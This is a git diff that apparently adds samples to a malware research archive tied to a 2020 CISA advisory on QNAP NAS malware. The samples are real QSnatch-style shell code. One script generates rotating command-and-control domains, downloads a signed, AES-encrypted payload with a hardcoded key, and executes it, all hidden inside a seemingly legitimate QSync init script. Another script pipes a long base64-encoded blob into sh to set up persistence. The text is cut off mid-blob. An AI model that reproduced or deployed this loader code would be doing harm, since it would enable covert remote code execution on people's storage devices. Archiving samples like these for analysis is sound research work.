$0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwSz1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + echo "$outfile https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" > /tmp/hellomalware.txt + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 new file mode 100644 index 0000000..2aabff0 Binary files /dev/null and b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/6e0f793025537edf285c5749b3fcd83a689db0f1c697abe70561399938380f89 differ diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 new file mode 100644 index 0000000..484e041 Binary files /dev/null and b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/845759bb54b992a6abcbca4af9662e94794b8d7c87063387b05034ce779f7d52 differ diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b new file mode 100644 index 0000000..da8e5c1 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b @@ -0,0 +1,572 @@ +#!/bin/sh +(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh& +KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnIiB8fCB0ZXN0IC1oICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIKY2F0ID4gIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIgPDwiWEVPRiIKIyEvYmluL3NoClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91a